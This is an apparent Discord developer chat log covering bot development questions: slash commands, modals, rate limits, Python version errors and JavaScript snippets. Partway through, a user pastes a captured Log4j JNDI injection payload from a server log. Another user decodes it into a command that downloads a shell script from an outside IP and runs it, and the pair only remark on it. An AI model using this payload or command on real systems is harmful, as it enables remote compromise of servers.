#development
1 messages · Page 2027 of 1
ok i understand. Thanks you guy's for the answers !
Im returning to express after almost a year and was wonderin if how i can get all instances of the people currently on the website? Like me saying “there are x people currently viewing this page”
Little bit rusty
if you want realtime stats you'll have to use websockets
ah alright, thanks ill come back if i got any problems
w t f is this new integration permission bullshit
shouldn't the developer decide who can use which permissions
i dont get it
discords really been takin the piss
i took a break from coding all together around 9 months ago i dont wanna imagine what its like now
Im jus not even gonna bother with discord now
thats been a thing for a while hasnt it
Yeah
I don't think the majority of admins will spend their time for set the permissions
slash commands are something that should be a very good thing for users for not having 726472773 prefixes, but discord is going in the wrong way
i would like to define which permission can use and see a command, instead of using an own permission handler
but nope
also there's still no sub command grouping in the UI
there will never be one probably
I havent noticed that 🤡
this update is bullshit
no sub command grouping
they do group the commands together kinda. it's a flat list, but the commands are grouped together
it should literally just show /config
without sub commands
when entering /config it should show up sub commands
that's what I wanna see since slash commands being introduced
but I will never see it probably
You mean having to enter the base command, alone?
they said they are planning to improve the ui for subcommands
including not making them flat
what does that mean
I mean, an alternative way of doing this is not using sub commands but including choices in the first option of the command.
nope doesn't work
literally what you said
Works fine for me? What do you mean doesn't work?
you're very limited with the options after your choice
yes
with sub commands you can have completely different sets of options for each one
if you put the subcommand as the first option, you cant do that
correct, also with optional options without the need to require each one
That's for complex scenarios, true.
but I dont wanna see 1000 sub commands in the UI, just the main command
Is there a limit for sub-commands? How many sub-commands can a command have?
Not really, take the picture I sent as example
In this case, you need different different set of options for each one, as Tim said. Although, supposedly, we're using like /user [ban, kick] <@user>, that's what I'm talking (which is the worst thing to do).
/config channel and /config nickname can both have parameters (options) but can also be executed without them
That doesn't work with choices
The parameters can't be dynamical
let's say, channel for /config channel OR nickname for /config nickname
choices are totally useless in this case
At this case, I confused myself, my bad on that.
I mean choices can work now
Since modals exist
Modals are really good.
Selecting the config option, then opening the modal with the fields I need
I would use them for supposedly inputting your premium code, etc.
They aren’t really good yet
With other field types
Just strings are stupid
We need like each standard form field type
At least, select menus, check boxes etc
To make the modals really usable
I haven't really used them, yet, but I'm yet learning more about them. It's why I said "I would use them for.." since I yet didn't use it yet.
And what? Only strings are acceptable as inputs?
Current only text fields, yes
Massive yikes.
Either small fields or text areas
New Discord update, new round of additions and deprecations
I would love to see those type of select menus in the modals and you can input True, False, and etc.
That’s what everybody is waiting for
It would be a really amazing feature, but I bet this will be a little bit too complex for us to understand.
It has been suggested, correct?
If those make it in there’s literally no reason to not use application commands anymore
Weirdly enough, you send modals in action rows and action rows can be 5x5
By the way, threads forum channels are not yet rolled out to everybody, correct?
Woops, forum channels.
It's only in like 10% of non community guilds with less than 200 members iirc
i feel like they shouldve perfected modals/slash commands completely before making them mandatory
They pushed back the date so far
Well you still have a few days left to integrate modals until 30th of april

They pushed the date back to sept 1st
I bet we won’t see any updates on modals until then or any other useful implementation
Yeah what we being talking about 100 times already
That would already make a lot of things easier
As well as checkboxes and date pickers
But who cares about what we want

the kidz wanna have more bling bling features, emojis and animated icons anywhere
after paying to be allowed to use them

@-@
never bought nitro
WTF
@quartz kindle why did you ruin your profile Tim
You aren’t eligible anymore for the fuck nitro club
Now lost any hope
wot
No more excuses!!!
its not the first time im gifted nitro
dont worry, it will go away in a month
:^)
You just couldn’t resist to use animated emojis
fake, just join the darkside
i never used animated emojis lel
Never ever sir
I wasted money for any shit you can imagine but nope, not for 16x16 icons
Can’t trust your words anymore, nitro user 
you want to develop that bot?
is there a bot already made?

🔫
pew pew
Is there a way to get a user widget? Ive checked the docs but i cant find it but im 99% sure it is a thing
discord docs*
Never mind actually
@quartz kindle speedb js driver 0.0.1 now out
lmao
strings perform the same as numbers because of hashes
by the way is around 20ms for no cache decent when having to traverse through ~10k records to find a result? (including client/transmission overhead)
Eww I don’t like new things
from disk io or from memory?
thats similar to grep performance on a 10mb file
(depending on disk speed)
if you do a binary search through 10k records it should take about 13 operations to find it
only if the records are sorted
true
completely from disk
yeah im planning to add these kinds of optimisations
for specific columns
for example forcing the table to be sorted
though that will only work for one column
Gotta love how binary search scales, for 1b records it'd be just 30 ops
also assuming that the records are sorted though 
Everything is sorted, you just don't know the condition 
bogosorted™️
I wonder what are the odds of bogosort finishing in the first try
If someone vote my bot it will dm him
Was that a question or...?
50/1s
The odds of 60 people voting at the same time are extremely low
50/10s no?
nop
Then?
At the worst scenario, it'll just delay a bit the messages
Any reliable library has internal ratelimiter
also, you would think dank memer would have more requests than a regular user's bot
well big bots have increased limits
Is that possible 
what is?
🧐
This one
Dank memer too much active bot
dank memer probably gets hundreds of commands per second
Yeah
Where did u see the list of limits btw? Never found a reliable source
Integrate your service with Discord — whether it's a bot or a game or whatever your wildest imagination can come up with.
I didn't know that big bots have different limits
There's no list there
Discord doesnt provide a list for each endpoint, as they are dynamic
I mean, ever tried to use twitch api?
They just publish updates
🤔 what are they supposed to do
just never update?
Because Starebord, automod, and much more i can see in beta discord
Starboard? I mean, discord had pinned messages for a while
And also new youtube partnership is also not good for all
But they never reached the glory of a bot-made starboard
I sure hope its not by default
Ah yeah, imagine the trolling
Am using beta thats why i am telling
But I doubt it'll make starboard bots obsolete
I will upload a pic when i will open pc
Discord features were never customizable enough to surpass bots
They're like the "default"
I agree with that lol
Yes
Their recent update with setting up interactions is... quite something
I don't necessarily think it's "doesn't care." Rather, just lack of proper organization and connection to the community from Discord management
Music bots can't use youtube but they will use in incoming update where we can see ads in videos inside the activity of YouTube together
for example, all of a sudden, they publish intents under the name of "confidentiality"

Do I need to reset my bot token, if I use Heroku?
https://github.blog/2022-04-15-security-alert-stolen-oauth-user-tokens/
Intents are a good idea, privileged intents are weird
Intents just bullshit
Verification system is shit and dumb
No
Because they didn’t have access to your account
The attacker maybe already know my bot token (I full deploy it to Heroku)
🥴
what they get from these people
But I receive a mail from 
Whatever they probably wouldn't get from you
I got one too
Bruh moment
^
They targeted several larger organisations
To get access to their private repos
Not random accounts
But if you're feeling antsy you can reset your token just in case
so big Discord bot maybe ....
Hi big meanie hackers plz tell us what organizations you hackerinod uwu
Wow they can have a view about their github account?
hmm
They gained access to certain private repositories
oke but know the issue is end right?
both Heroku and Github fixed that?
Yeah
I hear that Heroku deny deploy directly from Github to their app before everything done
Tldr; nothing to worry about. GitHub disclosed it to anyone who may be affected, because it is the law to do so
Just because you were notified doesn’t mean you were necessary affected
oke sir
Unless you have anything worth value, none of the attacks will actually effect you
They’re more after big organizations with code that could potentially be worth a LOT of money
(Like when twitch source code got leaked)
Can we check if a user commented on bot page or not?
or if they really hate you for some reason
While trying to update my code, I keep getting an error of As of 3.10, the *loop* parameter was removed from Event() since it is no longer necessary
My code is the following
@tasks.loop(minutes=30.0)
async def fun(args):
#code
```How would I fix this error? Im not sure which version of dbl or d.py this is from, but I am currently using dblpy v0.4
Did u try...yk...removing @tasks.loop?
Check the docs for whatever is supposed to be used instead
Could you send the link for the docs for v0.4?
Google it
And while I would remove it, I wasn't sure if there was something I needed to replace
There probably is, since the error states it's no longer necessary to use .loop
that has nothing to do with dpy
its from python itself
you're using tasks.loop in your code
python is saying that loop was removed in python 3.10
either look into the python docs for how stuff should be done in 3.10, or dont use 3.10, stay on 3.9
also make check if the libraries you're using support 3.10 in the first place
since different python versions are often not compatible with each other
average python 3.9 enjoyer 😎
gitbhub actions has my build queued for 5 minutes
Even after removing @tasks.loop, im still getting the same error
Did u save the file?
I did
show the full error
the problem is this
inside the dbl package
file http.py
meaning this package is not updated for python 3.10
The only asyncio code I had was a sleep command, not a loop
await asyncio.sleep(1800)
And after removing that and running it, I still get the same error
its from the dbl package not from your code
If I send my code, would you be able to help tell me what I need to fix then? Because im not sure whats wrong atp
Oh, I misunderstood what he said, the rest of my bot is already made in py3.10, if I were to swap to 3.9, do you think that would cause any issues?
i dont think it will
Alright, let me go mess around with things
unless
Hm?
unless you've made the bot that used the python feature that specifically made for python 3.10
U can also clone the dbl lib and fix in ur fork
Tbh, im not sure if there is anything in the bot specifically for 3.10
Since the lib is pretty simple
I haven't messed around with forking libs and such, would you be able to help if I wanted to try?
Or at least help tell me what I would do to start?
or bug the developer about it
dbl py dev 💀
Idk if the original dbl py lib is still maintaining it
I don't wanna bother the dev over this lmao, it ain't that serious
Go to github -> click fork -> modify it
Ngl, I might go to hell but damn I appreciate java's backward compatibility when I see people suffering with version updates
So after a modify it, how would I get it to use for my code? Would I uninstall the original one and install mine?
Well, tbh idk how u install a non-pip lib on python
Can u compile python code into packages?
Im not sure, on the github, it shows you can install it from source, so if I just replaced that url with my fork, you think it would work?
Then follow that, but for ur fork url
Alright, thank you, this will be some trip for me to do
gl
its not even updated for python 3.9
3.8 💀
It'll be a nice experience
Sure will be
Hello, how would I go about trying to make an array from a string sorted based on the amount of time a specific word shows up?
Example:
str = "hello, my name is bob. what is your name?"
arr = ["name", "is", ...]
split text by strings for an Array, then Array.sort by words that equal each other, then Array.filter to remove duplicate entries
function HashBag() {
const map = {};
let highest;
const add = function (thing) {
map[thing] = map[thing] ? map[thing] + 1 : 1;
if (typeof highest === "undefined" || map[thing] > map[highest]) {
highest = thing;
}
};
const getCount = function (thing) {
return map[thing];
};
const getHighest = function () {
return highest;
};
return Object.freeze({
add, getCount, getHighest
})
}
const bag = new HashBag();
const words = "hello, my name is bob. what is your name?".split(/[^a-zA-Z]/).filter(a => a !== '');
for (const word of words) {
bag.add(word)
}
console.log(bag.getHighest())
over engineered tbh
the regex to split the string by actual words might be desireable, but most of that is unnecessary
cool concept tho
A bag ofc!
Ah
At the end of the day, it's always useful to have a bag
Please insert diskette 7
I still have a disc with pirated windows 7 on it some company gave me along with the key to use with that disk in a bag
How delete unwanted Slash commands
its probably destroyed by now. I hated that company
i used to have windows xp black edition on a cd
what that

you can bulk overwrite your application commands
those alternative windows editions were fire
if you overwrite and it still shows, allow up to an hour for the commands to be applied to your client
if it still shows after that, restart your client.
what library are you using?
You are not authorized to perform this action on this application
On every restart^
Djs
Are you trying to bulk override on a guild
client.commands.delete for global commands
guild.commands.delete for guild commands
you can also use .set() which replaces all commands with a new list of commands
Listen i trying to test Slash after a month ago and i didn't want to those commands

English 
ingurishu wakarimasen ka?
const words = "hello, my name is bob. what is your name?".split(/[^a-zA-Z]/).filter(a => a !== '');
const wordsCount = words.reduce((acc, word) => ({...acc, [word]: acc[word] ? acc[word] + 1 : 1}), {});
const highestCount = Math.max(...Object.values(wordsCount));
const mostCommonWords = Object.keys(wordsCount).filter(word => wordsCount[word] === highestCount);
console.log(mostCommonWords);
You never de-duplicate the Array do you
wordsCount is a map
the accumulator is supposed to be a clone every time
your not supposed to pass references
but people do it
and i cant stop them

The return value of the callback is the new value of the accumulator. You can pass back the reference just fine
dont do that with redux reducers
passing back the reference when dealing with Objects/Arrays/classes is the best way to do it if the accumulator is mutable
otherwise, you're just creating a lot of garbage
if you're adamant on not passing back references, then how you did it isn't the ideal solution
The speed increase is non existent here
Their point is that if you don't know how to mutate, then you should create.
An edit to their comment says
As stated in the comments (and also mentioned in the question), of course copying on every iteration is less performant.
And I admit that in many cases, technically I can't see any disadvantages of mutating the accumulator (if you know what you are doing!).
Actually, thinking about it again, inspired from the comments and other answers, I changed my mind a bit, and will consider mutating more often now, maybe at least where I don't see any risk that e.g. somebody else misunderstands my code later.
Their points then reinforces that the only concern is that you're mutating something so the initial value will be different
watch me shoot this gun at my foot. i almost always miss
I don't see how that analogy should apply here. In the instance of me, I know how to properly mutate and what the implications are. I will mutate accumulators in the future and you cannot change my mind with arguments like: "If you don't know how, you shouldn't" since that doesn't apply to me. I would assume it also does not apply to you, so I would encourage just providing good examples instead of idiot proofing. They'll learn 1 way or another
I don't have time to idiot proof anything of mine. If people aren't using strict type checking with js or using ts, then not a me problem
good idea. make it overly complex and then idiots wont understand it at all and stay away
lol
i want delete these unwanted commands
Integrate your service with Discord — whether it's a bot or a game or whatever your wildest imagination can come up with.
what is this and why is discord.js using it?
??=
Apparently it is a logical nullish assignment
so it seems like if the left side is null it assigns whatever that left side is to the right side (I think)
also there is even ||= and &&=
madness
I thing it is rather useful
tho I don't see how the logical and assignment and logical or assignment would be useful in the field
now the logical OR assignment seems to be useful
I just did a bit of testing and I can see how it can be useful in some cases
i wish i could use it with aws
How do i send my current balance in my wallet to other member? economy
update both member's data
ik how to do that, but the thing is the author who using give, not sending all of its balance to other member
You can take the current balance the author has and add it to the other person's balance while also subtracting the same amount from the authors balance
economy.findOne({
guildID: message.guild.id,
userID: member.id || member.user.id
}, async(err, data) => {
data.wallet += data.wallet
data.save();
})``` how :/
data.wallet += data.wallet
data.save();```what are you doing here
call the other member's model something else, not data
memberData.wallet += data.wallet
memberData.save();```
so it should js async(err, data, memberData) or what?
const commands = interaction.client.slashCommands;
``````js
commands.map((command) =>
commandsEmbed.addField({
name: `Music`,
value: `${command.data.name.toLowerCase()}`,
inline: true,
})
);```
```fix
RangeError [EMBED_FIELD_NAME]: MessageEmbed field names must be non-empty strings.
commands.map((command) =>
commandsEmbed.addField(
`>>> \`/${command.data.name.toLowerCase().replace("_", "-")}\``,
command.data.description,
true
)
);```
it works
how do I call a js function, using ejs?
for example, I want this p element to have as content the output of Math.floor(Math.random() * 10), how would I do that?
<%= Math.floor(Math.random() * 10) %>?
the bot is just thinking can you tell whats the problem
maybe the bot isn't smart enough so it takes it more time to think?
he is thinking now also
at logs the error is coming
like this
You're replying (late response) and then trying it again, check your code
shouldnt it end with =%> in that case?
idk try it
the problem has been slowed but can you give me hypr link code
like this
Read the discord docs
[text](link)
- only works in webhooks and embeds
^
actually I dont even know why discord doesn't allow in any message
would probably lead to even more scam
but there's a screen when u try to open any url in disc
as you could hide the link to anything, for example as a common looking message link
which most people dont watch or read
I'm struggling with modals in discord.js.
I'm trying to show a modal from a button.
// InteractionCreate file
if (interaction.isButton()) {
//! await interaction.deferReply({ ephemeral: true }).catch(() => {})
if (interaction.customId === 'partner') {
const modal = new Modal()
.setCustomId('messaggio-partner')
.setTitle('Richiesta di partner con PW World')
.addComponents(
new TextInputComponent()
.setLabel('Messaggio Partner del tuo server')
.setPlaceholder('Corpo partner')
.setCustomId('partner')
.setStyle('LONG')
.setMinLength(50)
.setMaxLength(2000)
.setRequired(true),
new TextInputComponent()
.setLabel('Community Roleplay, RoleplayPS4, Gaming')
.setPlaceholder(
'Scegliere una tipologia quelle proposte'
)
.setCustomId('tiposerver')
.setStyle('SHORT')
.setMinLength(1)
.setMaxLength(20)
.setRequired(true)
)
showModal(modal, { client: client, interaction: interaction })
}
}```
Error:
```console
SHOW_MODAL_ERROR: An error occurred when showing a modal. DiscordAPIError: Unknown interaction```
people do that in embeds anyways
u need to ack
[here](https://athullawda.com) ```
doesn't make a difference but pls do showModal(modal, { client, interaction}) 
cure my depression
In simpler words? lmao
reply, edit, deferReply or deferEdit
ack means acknowledge the interaction
that's true, but this an authenticated bot at the api endpoint, which access can be revoked, not a common discord user
in the modal event or in the buttons?
else the interaction goes stale in 3s
I've tried both
ah ok
wait
i mean like fake giveaway bots
I can guarantee you there're less scam bots than user accounts
If I deferReply in the button handler i get
SHOW_MODAL_ERROR: An error occurred when showing a modal. DiscordAPIError: Interaction has already been acknowledged.```
bcuz ur trying to ack twice

what is a hook 😨
Maybe I know, but I call them with the italian name
webhook
Yup
I don't know how to do it lmao
event.hook
🪝
I don't think that helps too much lmao
I have the problem with the button
Emoji error?
which represents the webhook class you can use to send/edit messages etc.
never used that
Using ExpressJS, I want to make a POST request while also redirecting the user to that page. So for example, if user clicks the link "My Link" with the data "https://mylink.com", I want to send a post request to another page which gets the data and displays it. I'm currently using jQuery and HTML to handle the POST requests, then writing the jQuery and HTML as a website. This is what I have so far:
https://sourceb.in/svX92yKXbc
I tested the HTTP requests which works perfectly fine. As for redirecting and sending the data is what I'm having trouble with.
Never mind I think I figured it out
yea im using a form rn haha
how hard would it be to get the guild count without using a discord library?
someone got any idea why my bot just has ping slash command. I didn't add it, is there a way to remove it?
when I try to run the command there's an error because it doesn't exist.
Integrate your service with Discord — whether it's a bot or a game or whatever your wildest imagination can come up with.
do a Get Guild Application Command and find the ID for that command and then use Delete Global Application
should i write a web scraper that goes through the bot invite process and copies the server count from discord?
approximate or accurate? for approximate you can just look at your bot's invite link and scrape the count from there
for accurate you can use either the rest api or the gateway, the rest api has a limit of 100 guilds per request, so its much slower than websocket but doesnt require any setup
for websocket you need to setup sharding and such, but you can basically connect with 0 intents, wait for the HELLO packet, then disconnect
it's doesn't need to be too accurate. scraping the invite shouldn't be too hard. The only issue is that i would need to automate logging into an account and i think that's against discords rules
the invite link cant be viewed without being logged in?
i dont think so. i just tried in incognito
rip
Honestly, sounds fun to make just to try.
yes
If you have anything related to / commands check and see if by chance ping is listed
Happened on one of my bots
i fixed it
@quartz kindle found a new funny attack method
81.17.20.98 - - [28/Apr/2022:20:43:30 +0200] "GET / HTTP/1.1" 403 18 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//81.17.20.98:2420/TomcatBypass/Command/Base64/d2dldCA5NS4yMTMuMjA4LjIyNi93Z2V0LnNoOyBjaG1vZCAreCB3Z2V0LnNoOyAuL3dnZXQuc2g=}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//81.17.20.98:2420/TomcatBypass/Command/Base64/d2dldCA5NS4yMTMuMjA4LjIyNi93Z2V0LnNoOyBjaG1vZCAreCB3Z2V0LnNoOyAuL3dnZXQuc2g=}')"
in log4j?
The payload is send as referer and as user agent
nice
I guess that injects code in apps handling the webserver log
looks like u're right
base64 wget 95.213.208.226/wget.sh; chmod +x wget.sh; ./wget.sh

im trying to access those urls to see what the payload is
but they all come up as invalid
same here
asn: {
asn: "AS49505",
name: "OOO \"Network of data-centers \"Selectel\"",
domain: "selectel.ru",
route: "95.213.208.0/22",
type: "hosting"
}
no questions asked
still funny to see
yeah but funny that you can inject your payload like that as referer and/or user agent
I'm trying to send a POST request and redirect the user to that page using ExpressJS and jQuery. However, whenever I click a link it always sends the same data and never the data I'm going for. I've logged all the links, names, etc. and they all match up, but based on my testing it seems to be a jQuery issue.
https://sourceb.in/d6LqkyJzYL
thought you fixed it
Why don’t you simply use ajax?
It could be possible the values are cached
Make sure to set the property cache: false
I cant add just /help command and discird approve my bot?
Like just some /
Commands

I got the HTTP requests working but it sends the wrong request haha
Ah I didn't think about that. It might be tbh cause it was working fine earlier.
I'll look into ajax. i havent learned much abt it/used it tho. but ty that might solve my issue
By default the data is cached in ajax and probably is for this method, too
Ah ic. I just looked up Ajax and it is def smth that will be helpful. Thanks for the suggestion I’ll try that out rq
Np
.addField({ name: `bruh`, value: `BRUH BRUH` });
RangeError [EMBED_FIELD_NAME]: MessageEmbed field names must be non-empty strings.```
any one know why?
just do js .addField(`bruh`, `BRUH BRUH`)
but why
embedname.addField({ name: `bruh`, value: `BRUH BRUH` });
embedname only?
let scount = client.guilds.cache.size;
.addField({ name: `Servers`, value: `${scount}` })
RangeError [EMBED_FIELD_NAME]: MessageEmbed field names must be non-empty strings.```
try js .addField(`Servers`, scount)
bruh
my all addFields in this formate

addField(name, value) is correct
its not addField({ name, value })
however, addFields uses your format
addFields([{name, value}, {name, value}, etc..])
addFields is so useless since you have to pass the array of objects anyways
What is the different between a static programming language and a dynamic programming language?
you mean statically typed vs dynamically typed?
statically typed means that the type of the variables must be written by the programmer, ie, the code has to know what is the type of every variable
dynamically typed means you dont need to write any types, because the code will automatically convert everything
Typescript is statically typed, correct?
for example in a statically typed language you cannot do var a = 10
you have to do int a = 10 because 10 is an integer
TS is statically typed yes, but its not very strict about it
well in most you can as the compiler is able to infer the type
depends on the language and the compiler
In statically typed language, should it be like int, str, etc.
you cant do that in C
yes that's why I said most
depends on the language
int would be the same for most languages
but C does not have a str/string
Aha.
in C++ you would do std::string
C++ is a static.
Hmm..
Ooo, fair. Also, what's a languages' compiler?
a compiler is the program that converts the code you wrote into a program the computer can run
for example convering it to .exe on windows
0 and 1s, or?
basically yeah
Fair.
although you can read executables as assembly
Is there a compiler language, or like every programming language have a compiler language.
compilers are just programs, any language can create one
the first compilers, before modern languages existed, were probably written in assembly
compilers usually compile your code to assembly
Ohh, so is it something I can check like the compiler of Javascript?
I'll read more about assembly, for sure.
javascript doesnt techincally have a compiler, but v8, the most popular js engine, has a small compiler to boost the performance
Ohh, alright. I'll need to read more about compilers compiling code to assembly.
That's my topic for the day. 🙌
you might also wanna look into the differences between compiled and interpreted languages/code
Oh, for sure about that. 👀
D
E
f
ake
With topggpy's autopost feature, do I only need the 3 lines of
import topgg
dbl_token = "token"
bot.topggpy = topgg.DBLClient(bot, dbl_token, autopost=True)
```?
Hello there! How can I prevent my bot from being scraped off of Top.gg due to people self-botting and creating bot farms with a lot of bots?
ℹ️ This is a copy-paste of <#support message>.
Filter servers your bot joins by the name, the amount of bots compared to the members and maybe by the usage behavior of specific commands
Yeah that's what am doing
The first two options will probably filter the most servers already
Well that’s it, there aren’t much more options
I want to make the autorol command only for voters
what is evidence and reason?
evidence is not a string
wait it is
do you have the full error?
well that couldnt be more useless
let counter1 = 0
const filter = (m) => {
return m.author.id === message.author.id
}
const collector = new Discord.MessageCollector(message.channel, filter, {
max: questions.length,
})
message.member.send(questions[counter++])
collector.on('collect', (m) => {
console.log(m)
if (counter < questions.length) {
m.member.send(questions[counter++])
}
})
```hey how would i make this dang collector work in dm?
It is only sending it to the member in dm, but you can only answer it in the channel right now. Really annoying
I want to make the autorol command only for voters
do you have the direct messages intent?
use the top.gg api and check for the vote status of the user before executing the command
uhh not ure
sure*
dm intent? Where is that
you know what intents are right?
yeah ofc, but the dm intent is nowhere to be found in the portal
what did you do wrong, i'm curious
exdee
then each restart to fix takes 5 mins
yeah
while it should have been this
wait so it shouldn't be selected in the portal?
no?
{ "Authorization": "your-topgg-token-here" }
might have been smart to say that i use v12 btw
the intents in your dev portal are the privileged ones
but otherwise all intents have to be defined in your code
I created a token now where do I write this code
I have added the intents in my client defining, however it's still only accepting messages from the channel where i wrote !verify
how would i make sure members can react in the dm
well you created the collector for that channel
new Discord.MessageCollector(message.channel, filter, {
so it only collects from that channel
what language are you using? are you using a top.gg library or writing your own http requests?
We know how many times you gonna say this
Hi @boreal iron
Trash mobile carrier
Alo, alo, sunt iarăși eu, Picasso

Vrei să pleci dar nu mă, nu mă iei
Nu mă, nu mă iei, nu mă, nu mă, nu mă iei
Ooka booka
tim posting a gif? impossible
you are old
Thats because you are old my good sir
I seen this gif years ago
Damn speedy beat me too it
back when I was still on windows xp
You still use it?
no?
Stop calling people old in the middle of their midlife crisis you devil
Your old shush
I think xp and 7 are the least bloated operating systems Microsoft released
I agree
Quiet! Tim’s the grandpa here
Bro tims like 40
Try 32
took him 30 years to scrape the whole web and become a search engine

🤣
Tim’s always giving two versions as output
I asked him a question in general
The one we poor people can understand and the nasa, science fictional one
lmao
why scrape Google until you find what you're looking for among a shit ton of info you don't want or need when you have tim
tim how does innodb index things
(base answer template) is it just a file which has a list of the sorted column data and a pointer to that row?
sorted so you can perform things like binary search
serious question btw
Tim
I’m gonna send you my index file
It just has 433GB of size

Open it in notepad and figure out yourself
Wtf do u have on it porn?
Oml
Actually it’s an hash based on an ID
O
The database could be way more efficient, about 200gb but I’m too lazy to change anything
Do it or you get the shank
Reeeeee
It’s a 32 bit account id wrapped in a 64 bit big int
In theory I can save the 32 bit id only as binary data and complete the ID after getting the account id from my database query
That would save an enormous amount of space
But yet requires to complete the ID on each request
Which I would need to do in multiple project in multiple program languages
That’s not worth the time waste
Just to save 600gb
Space ain’t that expensive
spayce
Shhh nitro fanboy
One message removed from a suspended account.
One message removed from a suspended account.
One message removed from a suspended account.
11 TB database?
11 tb 👀
Probably speaking about disk space
One message removed from a suspended account.
Well yeah TB is the new KB in 2022
When games have 200 GB of size or more
But still 11 TB of data is quite a lot when speaking about non-commercial stuff
Unless you're keeping downloaded movies/anime/"school" material
Remember a 4k movie easily reaches 10GB
Good thing I'm used to watching videos in 480p and 720p
I know people who refuse to watch stuff on lower resolution, even if it take 9x longer to download and they'll be watching in their phone anyway
My friend was like that
Got it ❤️
{name: value:} only for footer or author only 
for(const letter of string) {}
is slower than
for(const letter of string.split("")) {}
and ^ is slower than
string.split("").forEach(() => {})
thanks js
how much slower
240ms
180ms
170ms
all three of them still twice slower than a normal for loop with indexes (70-80ms)
And is slower than
const letters = string.split("");
for (const letter of letters) {}
thats literally the same thing
Nope, idk abt js but most langs do some heavy optimization if an array is well defined and fixed before starting a loop
js doesnt care
anyone have the bug where the page keeps looping between step 2 and 3?
Pages?
also i use the dead python api lol
on the website
Top gg? Doesn't it use infinite scroll?
i hate infinite scroll on most websites
it keeps looping through step 2 and 3 in the application
the add a bot application?
btw whats js look ive been meaning to switch to that for bots
yeah
syntax-wise, js is much more similar to c-langs than python
python is not really similar to anything
Python is not even similar to its own past versions
f u
python is the new php
nice
Ah, I forgot how python lacks a switch statement
its in the beta
looks like this
x = some value
match x:
case some value:
code
case some value:
code
What if u want a fall-through case?
i think you can add an else to the end
does it work like the php match statement? like can it have a return value and be assigned to a variable?
not 100% sure, its not supported on VS code yet
switch (value) {
case 1:
case 2:
code;
break;
case 3:
more code;
break;
}
This what I mean
the php8 match expression is amazing, i wish js had it
One code, multiple cases
$return_value = match ($food) {
'apple' => 'This food is an apple',
'bar' => 'This food is a bar',
'cake' => 'This food is a cake',
};
yeah
Java has it 
i dislike java
so does C++
We don't talk about bedrock
😩
me whos uploading a bot for bedrock
Also there's groovy, which is java doing js cosplay
bedrock got way more mod support
in the last update*
we now have /damage and /set-velocity
and we are finally getting spectator
Meanwhile java:
yeah
i cant wait for this on bedrock
wanna know something weird?
Not gonna happen, c++ isn't as moddable as java
in bedrock you cant change camera height, but you can change player height
so you attach the camera to a player?
so my hitbox can be 1 block tall while my camera is at the regular height
its position in the y direction is fixed relative to the player
sounds like league of legends, everything is coded as minions
brb
soon™️
One message removed from a suspended account.
One message removed from a suspended account.
more like howling abyss
One message removed from a suspended account.
If I want to fetch https://discord.com/api/guilds/<guild_id> I get the error 401: Unauthorized. I gave the token type and acccess_token for auth. It doesn't work... what do i need to provide to authorize??
are you passing the Authorization header with Bot YOUR_BOT_TOKEN as the value?
/api/v10
If you're using a token from oauth, you need to make sure your token is like Bearer accesstoken
yeah oky thanks
you're welcome
No need to thank me

Is this the correct way to fetch from the audit logs the reason of the ban?
.addField("**Member Reason**", await guild.fetchAuditLogs({ type: 22 }).then(audit => audit.entries.first().reason || "No Reason"), true)
if my bot sends a lot of messages (to servers/users DM), should I implement a message queue to prevent rate-limit?
like rabbitMQ?
if you have a big bot with lots of shards and you often hit the global rate limit, sure
if not, dont bother
though you really need to hit a massive volume to get to that point
i have experience and a simple delay per user worked fine
What is the rate limit?
global is 50 per second
and even so your client will automatically throttle if the limit is reached and it will take a lot more to get banned
The bots can get banned...
v14 ALREADY!?!?!
oh I was about to say
Please help me
All my commands are prefix
I cant just add /help command
And leave all my commands prefix?
And my bot get verify
?
oh, so I assume global rate limit only happens if all bots in the same IP send a total of 50 requests/s right?
?
What are you trying to say @fluid garden
and its still alright if my bot hits "not global limit" frequently right
per token, not ip
Discord said they will not verify bots woth no slash commands can i just add /help and leave other commands prefixes?
probably not
Sadly
the reason is that they are introducing the message content intent
which is a privileged intent like members and presences
Honestly I don't think that would work
without it, your bot cannot read people's messages
Oh
so it cannot read pefixes etc
Oh kk
but in the doc it said "bots" so I assume its about having same IP
im pretty sure they mean bots as in discord applications
each bot has that limit
I see
i dont know about any per-ip limits
also whats about this
if anything cloudflare would be in charge of that, not discord
this
if youre using a library, chances are you're not actually hitting any limit
most libraries prevent you from doing that
oh yea I believe I saw the bot waits until timeout and then continues after that
yes, most libraries already have queueing built in
just that their queueing is limited per instance, so if youre using sharding, they will not be aware of each others queues
thats why its different for global limits
whats your node version?
I see so I should only consider message queue if the bot is large and have to sharding
v12.22.10
node:fs requires version 16+ at the minimum
latest version is 18
ohk
anyway I have a bot and some cron-jobs running in the source, should I separate them into 2 different services to deploy and connect them through message queue so the bot has better respond time?
have you done any measurement/benchmarking and verified that your bot actually is noticeably slower because of it?
its not noticeably slow but I assume each service is gonna uses less resource like RAM, CPU?
like less than when they are combinable ?
not necessarily, it depends on what kind of job it is
its a lot of async jobs
yes im using node
node by itself uses a minimum of 30-40mb ram just to run
so 2 node processes will use more ram/cpu than one
unless that 1 process really cannot handle running both jobs
I see
you will likely need to separate them when you start sharding
if you dont want to have duplicated jobs
does duplicated jobs mean scheduled jobs?
oh nvm
i read that wrong
like if you have an interval running X funcion every N seconds
when you have 2 shards, you will have 2 intervals
unless you use internal sharding, which does not create new processes
is switching to golang any better than my current project?
like using golang for cron-jobs
and node for bot or both with golang






